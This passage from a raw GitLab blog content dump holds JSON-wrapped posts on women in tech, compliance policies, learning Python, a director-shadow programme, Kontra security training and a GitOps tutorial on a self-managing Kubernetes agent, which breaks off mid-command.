[microaggressions](https://handbook.gitlab.com/handbook/values/#understanding-the-impact-of-microaggressions) are understood and challenged if they occur, where I don’t have to fight to advocate for the [uniqueness of people](https://handbook.gitlab.com/handbook/values/#quirkiness) but am empowered to support the fulness of all my team and colleagues, where we [normalize talking to each other](https://handbook.gitlab.com/handbook/values/#see-something-say-something) when we see old bad habits in play and where we do that with kindness.\n\nI’ve been moved to tears by people’s kindness, by the depth of inclusion I have come to experience here. I am often left pondering how very different things would have been for me had I experienced this in the early years of my career. I have no doubt mine would have been a very different journey, where I could have expended less energy on battling self-doubt and on healing, and more on growth and contribution.\n\n_The Women’s TMRG also invited [Christie Lenneville](/handbook/product/ux/one-pagers/christie-readme/), GitLab VP of UX, to share her experiences during a live speaker series, open to everyone at the company. You can watch the replay of the conversation below._\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/a10N6xYB7Ps\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n\n\n",[676,7715,2368],{"slug":14710,"featured":6,"template":678},"advice-for-women-seeking-careers-in-tech","content:en-us:blog:advice-for-women-seeking-careers-in-tech.yml","Advice For Women Seeking Careers In Tech","en-us/blog/advice-for-women-seeking-careers-in-tech.yml","en-us/blog/advice-for-women-seeking-careers-in-tech",{"_path":14716,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":14717,"content":14723,"config":14728,"_id":14730,"_type":16,"title":14731,"_source":17,"_file":14732,"_stem":14733,"_extension":20},"/en-us/blog/ensuring-compliance",{"title":14718,"description":14719,"ogTitle":14718,"ogDescription":14719,"noIndex":6,"ogImage":14720,"ogUrl":14721,"ogSiteName":1180,"ogType":1181,"canonicalUrls":14721,"schema":14722},"How to ensure separation of duties and enforce compliance with GitLab","Use your DevSecOps platform to help maintain compliance without compromising on development speed.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098232/Blog/Hero%20Images/Blog/Hero%20Images/AdobeStock_479904468%20%281%29_4lmOEVlaXP0YC3hSFmOw6i_1750098232241.jpg","https://about.gitlab.com/blog/ensuring-compliance","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to ensure separation of duties and enforce compliance with GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Beatriz Barbosa\"},{\"@type\":\"Person\",\"name\":\"Fernando Diaz\"}],\n        \"datePublished\": \"2022-04-04\",\n      }",{"title":14718,"description":14719,"authors":14724,"heroImage":14720,"date":14706,"body":14726,"category":674,"tags":14727,"updatedDate":3379},[14725,1622],"Beatriz Barbosa","In this article, you'll learn the different ways to ensure **separation of duties** and\n**continuous compliance** with the GitLab DevSecOps platform. But first, let's level-set on two key concepts:\n\n**Compliance** means being in accordance with guidelines and specifications that have been\ndefined either by your corporation or a regulatory agency. Compliance helps maintain\ncorporate ethics, appropriate user policies, security standards, and much more for\nthe safety of consumers.\n\nNon-compliance may result in a bundle of legal fees and fines, so it is very important to maintain compliance. While maintaining compliance, DevSecOps teams must also ensure sustained development velocity, providing necessary simplicity, visibility, and control.\n\n**Separation of duties** requires multiple actors to complete a task to increase protection from error as well as prevent malicious activity. Separation of duties ensures roles best-suited for the job are the only ones that can perform it. As an example, some of the following\nactors are observed, each with a specific purpose:\n\n- a developer will be responsible for developing new features\n- a compliance officer will be responsible for creating and enforcing the usage of a pipeline\n- an application security engineer will be responsible for approving merge requests with vulnerabilities\n\nConsidering the above roles, we can ensure that a developer cannot change a running pipeline.\nThis is a task that can only be performed by a compliance officer, ensuring only compliant code can be pushed without approval.\n\nAn application security engineer is responsible for reviewing and approving code with vulnerabilities, ensuring proper mitigation can be performed, and that nothing comes as a surprise in the future. In this scenario, developers can't merge code until compliance\nand security requirements are met.\n\n## Security policies\nGitLab provides **Security Policies**, which enable security teams to require security scans to run according to a configuration. This gives security teams confidence that the configured scans have not been changed or disabled.\n\nSecurity policies can be scoped to meet certain **Compliance Frameworks**. This means that your project has certain compliance requirements and needs additional oversight. This label can be created in **Secure > Compliance Center > Frameworks** under your top-level group.\n\n![Compliance Framework Label](https://about.gitlab.com/images/blogimages/compliance-04-2022/cf-step-2.png)\n\n**Note:** Compliance labels can only be assigned to projects within the top-level group in which we create the label.\n\nThere are three types of policies, [Scan Execution Policies](https://docs.gitlab.com/ee/user/application_security/policies/scan_execution_policies.html), [Merge Request Approval Policies](https://docs.gitlab.com/ee/user/application_security/policies/merge_request_approval_policies.html), and [Pipeline Execution Policies](https://docs.gitlab.com/ee/user/application_security/policies/pipeline_execution_policies.html).\n\n* **Scan Execution Policies:** Require that security scans run on a specified schedule or with the project pipeline.\n* **Merge Request Approval Policies:** Take action based on scan results, such as requiring approval from the security team before a merge can occur.\n* **Pipeline Execution Policies:** Enforce CI/CD jobs for applicable projects.\n\nThese policies can be configured via the Policy Editor in a few simple steps.\n\n### Scan execution\n\n1. Go to **Security & Compliance > Policies**.\n\n2. Create a new policy by pressing the **New Policy** button.\n\n3. Select **Scan Execution**.\n\n4. Create the rule. I'm creating a rule that requires [SAST](https://docs.gitlab.com/ee/user/application_security/sast/) to be configured in order for a pipeline to run.\n\n```yaml\nname: force_sast\ndescription: 'require sast to run'\nenabled: true\nrules:\n- type: pipeline\n  branches:\n  - main\nactions:\n- scan: sast\n```\n\n5. Submit the policy by creating a merge request and then merge.\n\nAll scan execution policy changes are applied through a background job that runs once every 10 minutes.\nAllow up to 10 minutes for any policy changes committed to this project to take effect.\n\n6. Try and run a pipeline. It will not be run unless SAST is defined in the YAML.\n\n**Note**: You can also force SAST to run on a timer. For more information, see the scan execution\npolicies [documentation](https://docs.gitlab.com/ee/user/application_security/policies/scan-execution-policies.html).\n\n### Merge Request Approval\n\n1. Go to **Secure > Policies**.\n\n2. Create a new policy by pressing the **New Policy** button.\n\n3. Select **Merge Request Approval Policy**.\n\n4. Define policy scope.\n\n5. Create the rule.\n\n![separation of duties update - image 1](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098241/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750098241214.png)\n\n6. Add action to take.\n\n![separation of duties update - image 2](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098241/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750098241215.png)\n\n**Note:** The policy is evaluated according to the rules you set. This means that, if the rules are invalid, or can’t be evaluated, approval is required. To prevent this, the default Fallback behavior field can be changed to `open`.\n\n![separation of duties update - image 3](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098241/Blog/Content%20Images/Blog/Content%20Images/image5_aHR0cHM6_1750098241217.png)\n\n1. Submit the policy by creating a merge request and then merging\n\n2. Create a separate merge request with vulnerabilities\n\nYou can see how to add vulnerabilities by checking out the Developer Workflow section of the GitLab DevSecOps Workshop.\n\n3. Verify Merge Request Approval Policy is being used by viewing merge request.\n\n### Pipeline Execution Policy\n\nTo set up a pipeline execution policy, you need to first create a project containing the CI files you would like to run. Make sure that only the security team and/or administrator has access to ensure separation of duties. I created the \"Compliance and Deploy\" project, which contains the YAML I wish to enforce.\n\n1. Go to **Secure > Policies**.\n\n2. Create a new policy by pressing the **New Policy** button.\n\n3. Select **Pipeline Execution Policy**.\n\n4. Define policy scope.\n\n5. Add action to take.\n\n![separation of duties update - image 4](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098241/Blog/Content%20Images/Blog/Content%20Images/image8_aHR0cHM6_1750098241219.png)\n\n6. Add conditions.\n\n7. Submit the policy by creating a merge request and then merging.\n\n8. Try and run a pipeline. You will see the policy specific jobs and stages in your pipeline.\n\n## Audit Management and Compliance Dashboard\n\nAnother important part of compliance is knowing it is actually happening in your groups/projects. GitLab has Audit Events and Compliance Reports to assist with audits.\n\n**Audit Events** allows GitLab owners and administrators to track important events such as who performed certain actions and the time they occurred.\n\n![Audit events](https://about.gitlab.com/images/blogimages/compliance-04-2022/project-audit-events.png)\n\nAudit Events records different events per group and per project, which can be seen\nin the [audit events](https://docs.gitlab.com/ee/administration/audit_events.html) documentation.\nAudit Events can be accessed by going to **Security & Compliance > Audit Events**.\nSome examples include:\n\n- user was added to project and their permissions\n- permission changes of a user assigned to a project\n- project CI/CD variable added, removed, or protected status changed\n- user was added to group and their permissions\n- group name or path changed\n\nAudit Events can also be sent to an HTTP endpoint using Audit Event Streaming. Learn how\nto implement Audit Event Streaming in this [video](https://youtu.be/zHwVF9-i7e4?t=52).\n\n**Standards Adherence** gives you the ability to see a group's merge request activity. It provides a high-level view for all projects in the group.\n\n![separation of duties update - image 5](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098241/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750098241222.png)\n\nYou can use the report to:\n- get an overview of the latest merge request for each project\n- see if merge requests were approved and by whom\n- see merge request authors\n- see the latest CI/CD pipeline result for each merge request\n\nThe Standards Adherence report can be accessed in the top-level group by going to **Secure > Compliance Center**, and choosing the **Standards Adherence** tab.\n\n---\n\nThanks for reading! For more information on separation of duties within GitLab, check out [Continous Software Compliance with GitLab](/solutions/compliance/)\n",[674,1384,1385,754],{"slug":14729,"featured":6,"template":678},"ensuring-compliance","content:en-us:blog:ensuring-compliance.yml","Ensuring Compliance","en-us/blog/ensuring-compliance.yml","en-us/blog/ensuring-compliance",{"_path":14735,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":14736,"content":14741,"config":14745,"_id":14747,"_type":16,"title":14748,"_source":17,"_file":14749,"_stem":14750,"_extension":20},"/en-us/blog/learn-python-with-pj-part-3",{"title":14737,"description":14738,"ogTitle":14737,"ogDescription":14738,"noIndex":6,"ogImage":13867,"ogUrl":14739,"ogSiteName":1180,"ogType":1181,"canonicalUrls":14739,"schema":14740},"Learn Python with Pj! Part 3 - Functions and strings","Pj shares his experiences learning how to program functions and strings.","https://about.gitlab.com/blog/learn-python-with-pj-part-3","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Learn Python with Pj! Part 3 - Functions and strings\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"PJ Metz\"}],\n        \"datePublished\": \"2022-04-04\",\n      }",{"title":14737,"description":14738,"authors":14742,"heroImage":13867,"date":14706,"body":14743,"category":734,"tags":14744},[12593],"\n\n_This is the third installment in the Learn Python with Pj! series. Make sure to read [Part 1](/blog/learn-python-with-pj-part-1/) and [Part 2](/blog/learn-python-with-pj-part-2/)._\n\n\nIn learning Python, I’m happy to have found a language with a straightforward syntax that just seems to make sense. I don’t have to define a type; Python just knows. I don’t have to worry about `let` or `const` or `var` for different use cases; I just make the variable. I’m very glad I learned C# and JavaScript first, as those feel important to understanding exactly what is happening when I write code. In turn, I think it’s made Python easier for me, which is usually true when learning another programming language: Your second and third are easier to learn since your brain understands “programming logic” better now than when you made your first “Hello World”. This week we’re going to talk about what I’ve learned in functions and strings. \n\n## Functions\n\nFunctions are the backbone of any app you write. It’s an important step in learning any language to learn how to put a series of actions inside a single function that can be called later in the code. Python does this simply compared to other languages I’ve learned. \n\n```python\ndef my_first_function(arg1, arg2):\n  print(f”Your input was {arg1} and {arg2}.”)\n\n#prints “Your input was hilarious and unnecessary”\nmy_first_function(“hilarious”, “unnecessary”)\n```\nUsing the keyword `def` lets Python know that you’re about to write a function. Inside the parentheses, you put any parameters that must be included when calling the function. Some people use argument and parameter interchangeably, but technically, when defining a function, it’s a parameter, and when calling a function, it’s an argument. Either way, when defining the function, include some variables that you’ll expect when the function is called later. Finally, put a colon and then move to the next line. All the code for the function to run is indented. Inside the function, you can run loops, logic, or even other functions. Let’s check out a slightly more complex use. \n\n```python\ndef halloween_horror_nights(days, link,):\n    named = input(\"What is your name?\")\n    name = named.capitalize()\n    if isinstance(days, int):\n        if days == 0:\n            print(f\" Hello, {name}. We're ready to see you at HHN. {link}\")\n        elif days \u003C= 30:\n            print(f\"{name}, You have {days} days until the terror is home. {link}\")\n        elif days \u003C= 60:\n            print(f\"{name}, The horror comes home in {days} days. Join us in the dark. {link}\")\n        elif days \u003C 365 and days > 60:\n            print(f\"{name}, Patience is a virtue. You're {days} days away from the top rated Halloween event in the world.{link}\")\n        else:\n            print(f\"{name}, it can't be more than a year away. It's closer than you think... {link}\")\n    else:\n        print(\"Days must be an int\")\n    \n    \n#This will print “{Name input by user}, The horror comes home in 56 days. Join us in the dark. https://orlando.halloweenhorrornights.com/site\"\nhalloween_horror_nights(56, \"https://orlando.halloweenhorrornights.com/site\")\n```\n\nFor context, Halloween Horror Nights in Orlando is my favorite event of the year. This function takes in a number of days and a link (meant to be days until the event and a link to the HHN web page) and outputs a string that says how many days are left until the event. The string also includes a link to the web page and asks for user input to personalize each string. The function `isinstance()` checks if `days` is an int to make sure the sentence makes sense and returns `True` if the first argument is the type of the second argument. \n\nI really found functions in Python to be a lot easier than in other languages, though I still miss the curly brackets of C# and JavaScript. Additionally, the simplicity of `def` followed by the function name and any required parameters is really straightforward and makes reading the code easier. And since code is read more than it’s written, that makes Python pretty awesome in my book. \n\nI also used the f-string format for these print statements, and it’s still one of my favorite ways to concatenate. It feels easier than a lot of the other ways of inserting variables into a string in Python, and a little easier than the way it’s done in JavaScript, at least to me. I use a different method of including variables in a string called `.format()`. \n\nMaking your own functions is important, but there are a bunch of built-in functions in Python. There are also methods, which are similar to functions but are associated with the objects in a class they’re assigned to. Let’s talk about some strings and some methods that come with them.\n\n## Strings\n\nI thought it was strange that I had a whole section on strings in my Codecademy Python curriculum, but I soon realized that it was giving me a lot of very useful methods to use on strings that seemed very versatile. The most interesting thing to me is that strings are an object and act like a list of characters. I’m not entirely sure how strings are treated in other languages, but this really struck me as a cool idea. You can even call specific characters using the same syntax you would for a list. \n\n```python\nspooky = “Halloween Horror Nights is my favorite thing about Autumn.”\n\n#the following prints “l” since it’s the 3rd char in the string `spooky`. \nprint(spooky[2]) \n```\n\nOr you can use a for loop on a string.\n\n```python\n#This prints each letter on a new line and capitalizes it. The message now reads vertical in the output.\nfor letter in spooky:\n  print(letter.upper())\n```\n\n### String methods\t\n\nA few built-in methods exist for strings in Python, like `capitalize()` and `upper()`, two I used in the above examples. In addition to those, there are many more that can do things like remove the whitespace or noise from the beginning and end of a string, tell you the index of the first appearance of something, or join a list of strings into a single string. There are lots of great included methods. Here’s an exercise I took from Codecademy and changed the content to fit this article's theme. \n\n```python\n#given a string that contains a ton of information separated by semicolons and commas. Each part is a haunted house name, Universal Studios location, and the year the house appeared at the event.\nhhn_houses_location_year = \"Chucky;Japan;2016, Run;Orlando;2001, The Orfanage: Ashes to Ashes;Orlando;2010, The Real: Haunted Village;Japan;2021, The Undertaker: No Mercy;Hollywood;2000, Welcome to Silent Hill;Hollywood;2012, American Werewolf in London;Orlando;2013\"   \n\n#this splits the string up into a list where each element of the list is the section separated by a comma.\nhhn_houses_list = hhn_houses_location_year.split(\",\")\n\n#empty list for the next step\nhhn_houses_stripped = []\n\n#this strips any whitespace from the element in the list and adds it to the empty list from before\nfor house in hhn_houses_list:\n    hhn_houses_stripped.append(house.strip())\n\n#empty list for next step\nhhn_house_details = []\n\n#the next few lines split the details into their own list. \n#first, each house, with the details, is split along the semicolons to make a list of lists, with each house being its own element in the larger list\n#next, empty lists are made for each detail\n#finally, using index numbers, each detail is placed in it’s own list so all the houses, locations, and years are separated. \nfor info in hhn_houses_stripped:\n    hhn_house_details.append(info.split(\";\"))\n\nhouse = []\nlocation = []\nyear = []\n\nfor stuff in hhn_house_details:\n    house.append(stuff[0])\n    location.append(stuff[1])\n    year.append(stuff[2])\n\n#loops through and using .format() prints a sentence that tells about each house. \nfor num in range(0, len(house)):\n  print(\"{} was located in {} for the {} event\".format(house[num], location[num], year[num]))\n```\n\nAs you can see, I am obsessed with Halloween horror nights… er, wait, not the point of the article. As you can see, Python’s built-in methods for strings can be pretty useful, especially if you end up with a bunch of data sitting around in unformatted strings. Next time, we’re going to talk about Dictionaries and how they are used in Python! \n",[7715,9297,696],{"slug":14746,"featured":6,"template":678},"learn-python-with-pj-part-3","content:en-us:blog:learn-python-with-pj-part-3.yml","Learn Python With Pj Part 3","en-us/blog/learn-python-with-pj-part-3.yml","en-us/blog/learn-python-with-pj-part-3",{"_path":14752,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":14753,"content":14759,"config":14764,"_id":14766,"_type":16,"title":14767,"_source":17,"_file":14768,"_stem":14769,"_extension":20},"/en-us/blog/engineering-director-shadow",{"title":14754,"description":14755,"ogTitle":14754,"ogDescription":14755,"noIndex":6,"ogImage":14756,"ogUrl":14757,"ogSiteName":1180,"ogType":1181,"canonicalUrls":14757,"schema":14758},"The engineering director shadow experience at GitLab","Shadowing an engineering director at GitLab was an immersive, collaborative experience. Here's what you need to know.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749667509/Blog/Hero%20Images/continuous-integration-from-jenkins-to-gitlab-using-docker.jpg","https://about.gitlab.com/blog/engineering-director-shadow","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"The engineering director shadow experience at GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"William Arias\"}],\n        \"datePublished\": \"2022-04-01\",\n      }",{"title":14754,"description":14755,"authors":14760,"heroImage":14756,"date":14761,"body":14762,"category":299,"tags":14763},[8213],"2022-04-01","\n\nMy [engineering director shadow](/handbook/engineering/development/shadow/director-shadow-program.html) experience reminded me of a concept that gained relevance during the pandemic:\n\n> \"I am because we are\" set in the context of the actual state of the world: I will be safe when all and each of us is safe.\n\nThe inspiration of these ideas stem from the [Ubuntu Philosophy](https://en.wikipedia.org/wiki/Ubuntu_philosophy) and, if seen from another angle, could mean:\n\n> \"Ubuntu implies that everyone has different skills and strengths; people are not isolated, and through mutual support, [they can help each other to complete themselves](https://www.linkedin.com/pulse/open-source-enlightenment-2015-part-1-audrey-tang/).\"\n\nDuring the shadowing experience, I realized that it is easy to get comfortable with my own world and department-specific view, which can be very foreign to other teams. The reality is that we are all interconnected and each bit of group success is **our** success. Is there an incident? A bug? A delay in hiring? It affects not only the department [DRI](/handbook/people-group/directly-responsible-individuals/) (what we call at GitLab the Directly Responsible Individual), but it can have an impact on all of us, and it can be disguised in different ways. A reliability challenge is not only an engineering problem; if there is an unresolved issue that goes on for too long, it can end up hurting GitLab’s reputation and brand. The issue can impact not only the goals of engineering but also of other teams, including marketing.\n\nTo navigate this interconnectedness, treat all individual efforts as a consolidated unit efficiently and transparently. This is one of my key takeaways from the shadowing program: Having a fair amount of humanity, humbleness, and people-oriented skills is important. I went into this program assuming I was going to experience mostly hard, deterministic skills but the reality was very different.\n\n## A day in the life\n\nShadowing [Wayne Haber](/company/team/#whaber), director of engineering for Growth, Sec, and Data Science, is a unique experience, especially for someone who doesn't spend a lot of time with upper leadership at GitLab. Wayne begins the shadow week with a prep coffee chat where he walks you through what to expect from the week, some tips, and his general criteria for success in the program (take notes and offer feedback!).\n\nAs the week kicks off, you'll first notice you'll be taking part in meetings, a lot of meetings. This is not a bad thing. However, you are going to be treated to a backstage pass to what mission-critical meetings at GitLab look like, how relationships are developed, how KPIs are decided and set, and much more.\n\nDuring my time with Wayne, I attended a variety of meetings from skip levels to a 1:1 with Wayne's boss. In those meetings there were a lot of nuances to observe and an opportunity to soak up how our engineering directors apply [the CREDIT values](https://handbook.gitlab.com/handbook/values/). Wayne encourages people who take part to get involved in the meetings, be vocal, be willing to engage, take notes, and offer feedback. This is an atmosphere that helps to cultivate a sense of \"No Ego\" and promotes collaboration.\n\n## TL;DR\n\nI totally recommend taking one week to enjoy Wayne's adventures. It is an enriching and humbling opportunity to connect with colleagues that you might not come across if you are on another team. As mentioned before, we impact each other more than we might usually think!\n",[942,676,7715],{"slug":14765,"featured":6,"template":678},"engineering-director-shadow","content:en-us:blog:engineering-director-shadow.yml","Engineering Director Shadow","en-us/blog/engineering-director-shadow.yml","en-us/blog/engineering-director-shadow",{"_path":14771,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":14772,"content":14778,"config":14785,"_id":14787,"_type":16,"title":14788,"_source":17,"_file":14789,"_stem":14790,"_extension":20},"/en-us/blog/kontra-and-gitlab-integrate-vulnerability-education-into-the-devops-workflow",{"title":14773,"description":14774,"ogTitle":14773,"ogDescription":14774,"noIndex":6,"ogImage":14775,"ogUrl":14776,"ogSiteName":1180,"ogType":1181,"canonicalUrls":14776,"schema":14777},"Integrating vulnerability education into DevOps workflows","Interactive training labs are now available within the GitLab platform from Kontra Application Security, a ThriveDX company.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749668199/Blog/Hero%20Images/KontraCover.png","https://about.gitlab.com/blog/kontra-and-gitlab-integrate-vulnerability-education-into-the-devops-workflow","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Kontra and GitLab integrate vulnerability education into the DevOps workflow\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Gyan Chawdhary\"}],\n        \"datePublished\": \"2022-03-31\",\n      }",{"title":14779,"description":14774,"authors":14780,"heroImage":14775,"date":14782,"body":14783,"category":962,"tags":14784},"Kontra and GitLab integrate vulnerability education into the DevOps workflow",[14781],"Gyan Chawdhary","2022-03-31","\n\nInteractive training labs are now available within the GitLab DevOps platform from Kontra Application Security, a ThriveDX company. This integration allows GitLab users to access Kontra’s interactive security training modules from the familiar Merge Request (MR) and pipeline experiences to quickly learn about and fix vulnerabilities reported through automated security scans.\n\nKontra’s content is also available in GitLab’s vulnerability management features, providing the same easy access to training on vulnerabilities identified from these same security scans, as well as other sources such as penetration tests or bug bounty programs. By putting interactivity into our learning simulations, we put the developer first, helping them to understand the risk and impact of a vulnerability from an attacker's perspective.\n\n## So, what is Kontra?\n\nKontra is a scalable Application Security Training platform powered by ThriveDX. This training application was built for modern development teams and it aims to give developers the most advanced security simulations for the best quality training. Kontra works by creating short educational sessions of real-life security incidents to give developers the necessary skills to build and maintain secure application code. \n\nBy going through a simulated security scenario, developers gain better insight into how to get ahead of would-be cyber attackers. \n\n## The benefits of interactive developer security education\n\nAs enterprise developers become increasingly responsible for the security and integrity of their applications, they require relevant, actionable, and engaging security education that enables them to:\n\n- quickly understand and resolve security vulnerabilities\n- design controls to proactively prevent security issues\n- confidently communicate and assign security issues within engineering teams\n\nUnfortunately, these skills are almost never taught in academic courses or coding bootcamps. To address this gap, enterprise software developers often undergo annual developer security training, which typically involves consuming a PowerPoint presentation or watching a recorded presentation on software vulnerabilities and issues. The problem with this style of training is that it lacks actionable explanations, is too passive, or contains generic content that doesn't resonate with developers and engineers.\n\nKontra’s short training sessions are designed to be played in less than five minutes, ensuring that the correct explanations are provided to the developer to fully understand the security impact of a reported vulnerability and how to address it. The short sessions also make it easier to apply the security fix to the code.\n\n## The elements of interactive training\n\nThe most important aspect of training and education is how you convey and communicate ideas visually. This requires strong visual design, empathy, aesthetics, and communication with the learner. Kontra’s interactive training tutorials are offered in multiple programming languages and frameworks, ensuring each lesson is relevant to the developer.\n\nKontra’s learning environment consists of many different interactive UI elements which, depending on a specific vulnerability, are dynamically shown to the learner, ensuring that both the context and the impact of a vulnerability are demonstrated. \n\n![Kontra learning console](https://about.gitlab.com/images/blogimages/Kontra1.png){: .shadow}\n\n## How developers experience the vulnerability education integration\n\nTo have the highest impact, training is placed prominently, yet unobtrusively, where developers spend time: in MRs and pipelines. Developers can view vulnerabilities found by automated security scans in a dedicated MR security widget as well as a pipeline security tab. Clicking on a vulnerability shows its details such as a description and any identifiers such as a [Common Vulnerabilities and Exposures (CVE)](https://cve.mitre.org/) or [Common Weakness Enumeration (CWE)](https://cwe.mitre.org/). Once enabled, GitLab can now place a link to a relevant training from Kontra right in this details view. The identifier is used to dynamically locate the relevant content. And for security professionals, the same training content is available when viewing vulnerability details pages from GitLab’s Vulnerability Reports. \n\n## How to install and configure Kontra training\n\nKontra’s training is available to all [GitLab Ultimate](/pricing/ultimate/) customers. Simply [enable it](https://docs.gitlab.com/ee/user/application_security/vulnerabilities/#enable-security-training-for-vulnerabilities) for any desired projects.\n\n\n![Kontra security configuration](https://about.gitlab.com/images/blogimages/Kontra3.png){: .shadow}\n\nThen, look at the results from a [GitLab security scan](https://docs.gitlab.com/ee/user/application_security/#security-scanning-tools) (or one of GitLab’s [integration partners](/partners/technology-partners/#security)) in an MR, pipeline security tab, or a vulnerability details page. When you open a vulnerability record, you will see a direct link to training. GitLab will pull a training from Kontra that most closely matches the particular security issue and the specific language or framework in which it was detected.\n\n![Kontra predictable pseudorandom number generator](https://about.gitlab.com/images/blogimages/Kontra2.png){: .shadow}\n\n_Chawdhary is head of application security at ThriveDX SaaS._\n",[232,674,4103],{"slug":14786,"featured":6,"template":678},"kontra-and-gitlab-integrate-vulnerability-education-into-the-devops-workflow","content:en-us:blog:kontra-and-gitlab-integrate-vulnerability-education-into-the-devops-workflow.yml","Kontra And Gitlab Integrate Vulnerability Education Into The Devops Workflow","en-us/blog/kontra-and-gitlab-integrate-vulnerability-education-into-the-devops-workflow.yml","en-us/blog/kontra-and-gitlab-integrate-vulnerability-education-into-the-devops-workflow",{"_path":14792,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":14793,"content":14798,"config":14804,"_id":14806,"_type":16,"title":14807,"_source":17,"_file":14808,"_stem":14809,"_extension":20},"/en-us/blog/gitops-with-gitlab-manage-the-agent",{"title":14794,"description":14795,"ogTitle":14794,"ogDescription":14795,"noIndex":6,"ogImage":14039,"ogUrl":14796,"ogSiteName":1180,"ogType":1181,"canonicalUrls":14796,"schema":14797},"Self-managing Kubernetes agent installation with GitOps","This is the eighth and last article in a series of tutorials on how to do GitOps with GitLab.","https://about.gitlab.com/blog/gitops-with-gitlab-manage-the-agent","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitOps with GitLab: Turn a GitLab agent for Kubernetes installation to manage itself\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Viktor Nagy\"}],\n        \"datePublished\": \"2022-03-30\",\n      }",{"title":14799,"description":14795,"authors":14800,"heroImage":14039,"date":14801,"body":14802,"category":734,"tags":14803},"GitOps with GitLab: Turn a GitLab agent for Kubernetes installation to manage itself",[2544],"2022-03-30","\n\n_It is possible to use GitLab as a best-in-class GitOps tool, and this blog post series is going to show you how. These easy-to-follow tutorials will focus on different user problems, including provisioning, managing a base infrastructure, and deploying various third-party or custom applications on top of them. You can find the entire \"Ultimate guide to GitOps with GitLab\" tutorial series [here](/blog/the-ultimate-guide-to-gitops-with-gitlab/)._\n\nIn this article, we will build upon the first few articles, and will turn a GitLab agent for Kubernetes installation to manage itself. This is highly recommended for production usage as it puts your `agentk` deployment under your GitOps project, and enables flawless and simple upgrades.\n\n## Prerequisites\n\nThis article builds on a few previous articles from this series and makes the following assumptions:\n\n- You have [an agent connection set up using the `kpt` based method](/blog/gitops-with-gitlab-connecting-the-cluster/).\n- You have [set up Bitnami's Sealed secrets](/blog/gitops-with-gitlab-secrets-management/).\n- You understand [how to use `kustomize` with the agent](/blog/gitops-with-gitlab/).\n\n## The goal\n\nThe goal of this tutorial is to manage a GitLab agent for Kubernetes deployment using that given agent. This has several benefits, including: \n\n- By turning the agent to manage itself, the agent configuration and deployment is managed in code. As a result, all the code-oriented tools, including Merge Requests, Approvals, and branching are there to support your processes and policies.\n- Managing a fleet of agent installations in code enables simple upgrades of the deployments.\n\n### Upgrading GitLab and the GitLab agent for Kubernetes\n\nA single GitLab instance might have dozens of agent connections. How should you upgrade all these deployments in a coordinated way? Turning everything into code simplifies the upgrade process a lot.\n\nWe have the GitLab - Agent [version compatibility documented](https://docs.gitlab.com/ee/user/clusters/agent/install/index.html#upgrades-and-version-compatibility). The recommended approach is to first upgrade GitLab together with `KAS`, the GitLab-side component of the connection, and then upgrade all the `agentk` deployments. \n\nIf you manage the `agentk` deployments in code, the upgrade requires only bumping the version number in code and the `agentk` instances will take care of upgrading themselves.\n\n## Turning an agent installation to manage itself\n\nLet's do a quick recap and an overview how we wil use the tools.\n\nWe use `kpt` to check out tagged `agentk` deployment manifests. As the manifests are a set of `kustomize` layers, we can extend them with our own overlays if needed, or just customize the setup per our requirements. The agent connection requires a token to authenticate with GitLab. We can use Bitnami's Sealed Secrets to store an encrypted sycret in the repo.\n\nAll the above code can be put under version control safely. Moreover, we can use GitLab CI/CD to dehydrate the `kustomize` package into vanilla Kubernetes manifests that the agent can deal with.\n\nLet's see the above in action!\n\n### Kustomize layer with encrypted secret\n\nBased on the previous articles, we have the `kpt` package checked out under `packages/gitlab-agent`. We would like to store the vanilla Kubernetes manifests in the repository. We can run `kustomize build packages/gitlab-agent/cluster > kubernetes/gitlab-agent.yaml` to get the manifests, but this will include the unencrypted authentication token too.\n\nTo never output the unencrypted token, we should turn it into a sealed secret.\n\nNavigate to the `gitlab-agent` Terraform project, and create a Kubernetes secret from the token `terraform output -raw token_secret | kubectl create secret generic gitlab-agent-token -n gitlab-agent --dry-run=client --type=Opaque --from-file=token=/dev/stdin -o yaml > ../../ignored/gitlab-agent-token.yaml`. If you followed the instructions in the previous articles, the files under the `ignored` directory are never committed to `git`.\n\nWe will turn this unencrypted secret into a sealed secret. As the secret will already exist in the cluster, we should instruct the Bitnami Sealed Secret controller to pull it under its management. Moreover, as kustomize applies a random hash to every secret name, we should enable renaming the secret within the namespace. We can achieve these by adding two annotations to the unencrypted secrets object.\n\nAdd the following annotations to `ignored/gitlab-agent-token.yaml`\n\n```\nannotations:\n  sealedsecrets.bitnami.com/managed: \"true\"\n  sealedsecrets.bitnami.com/namespace-wide: \"true\"\n```\n\nNext, we should create an encrypred secret from the ignored, unencrypted one running `bin/seal-secret 